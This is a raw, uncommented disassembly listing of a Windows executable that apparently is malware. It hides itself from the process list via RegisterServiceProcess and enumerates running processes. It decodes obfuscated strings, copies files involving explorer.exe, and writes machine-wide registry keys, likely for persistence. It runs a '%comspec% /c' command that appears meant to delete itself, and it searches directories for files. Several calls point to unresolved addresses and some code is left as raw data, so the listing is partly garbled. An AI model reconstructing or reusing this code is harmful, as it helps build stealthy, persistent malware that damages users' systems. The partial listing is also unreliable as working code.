call sub_401E47 push offset asc_444AD4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CE0B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F34 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CE0B: ; CODE XREF: sub_40CC90+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx nop call sub_5F76F7 mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE7C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx call near ptr 2830000h nop pop ebx loc_40CE91: ; CODE XREF: sub_40CC90+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF40 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFC0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D040 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D107 loc_40D090: ; CODE XREF: sub_40D040+C5j test [esp+558h+var_548], 10h jz short loc_40D0F7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D0AA mov al, [esp+558h+var_51B] test al, al jz short loc_40D0F7 cmp al, 2Eh jz short loc_40D0F7 loc_40D0AA: ; CODE XREF: sub_40D040+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0F7: ; CODE XREF: sub_40D040+55j ; sub_40D040+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40D090 loc_40D107: ; CODE XREF: sub_40D040+4Ej push ebx call near ptr 28502DCh nop mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D19B loc_40D148: ; CODE XREF: sub_40D040+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40D148 loc_40D19B: ; CODE XREF: sub_40D040+106j push ebx nop call near ptr 28502DCh pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D040 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D210 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40D210 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2871C1Eh push eax call near ptr 2871161h nop mov eax, dword_449070 test eax, eax jz loc_40D4E3 mov ecx, dword_44906C test ecx, ecx jz loc_40D4E3 mov ecx, dword_448F38 test ecx, ecx jz loc_40D4E3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449068, eax jz loc_40D4E3 push ebp push offset dword_448F40 push eax xor ebp, ebp mov dword_448F40, 128h call dword_44906C ; Process32First test eax, eax jz loc_40D4CC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D44D: ; CODE XREF: ___:0040D4C7j mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F64 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F64 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D4B3 mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F64 mov ecx, ebx call sub_40168B push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D4B4 loc_40D4B3: ; CODE XREF: ___:0040D48Bj inc ebp loc_40D4B4: ; CODE XREF: ___:0040D4B1j mov eax, dword_449068 push offset dword_448F40 push eax call dword_448F38 ; Process32Next test eax, eax jnz short loc_40D44D pop edi pop esi pop ebx loc_40D4CC: ; CODE XREF: ___:0040D437j mov ecx, dword_449068 push ecx nop call near ptr 283061Dh mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: ___:0040D3E6j ; ___:0040D3F4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D540: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 2880C71h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi call near ptr 28807F9h nop mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2880000h push esi call ebx loc_40D606: ; CODE XREF: ___:0040D5A9j ; ___:0040D5EBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D660 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 nop call near ptr 2871C1Eh push eax call near ptr 2871161h nop push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27E08A3h mov esi, eax test esi, esi jz short loc_40D751 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449074, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449070, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44906C, eax call edi mov dword_448F38, eax mov eax, dword_449074 test eax, eax jz short loc_40D751 push ebx push 0 call eax loc_40D751: ; CODE XREF: sub_40D660+A7j ; sub_40D660+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D788 mov al, byte_44915F test al, al jz short loc_40D788 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D788: ; CODE XREF: sub_40D660+10Dj ; sub_40D660+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D660 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h dd 8D50FFFFh, 0A8248Ch, 8680000h, 5100444Bh, 1E9D66E8h dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 41440DE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23E29E5h, 874C085h, 0E890006Ah dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBF0 proc near ; CODE XREF: sub_401195j mov al, byte_449161 test al, al jz short loc_40DC04 push offset word_449162 nop call near ptr 27E0B6Eh loc_40DC04: ; CODE XREF: sub_40DBF0+7j mov al, 1 retn sub_40DBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC20 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2871C1Eh push eax call near ptr 2871161h nop lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27D0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx nop call sub_5F76F7 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2850000h mov esi, eax test esi, esi jbe loc_40E178 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 27E0000h push esi nop call near ptr 283061Dh mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 2871C1Eh push eax call near ptr 2871161h nop lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx call sub_5F76F7 nop add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2800000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 nop call near ptr 27F0459h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E178: ; CODE XREF: sub_40DC20+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC20 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2F0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx call near ptr 2900000h nop push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B 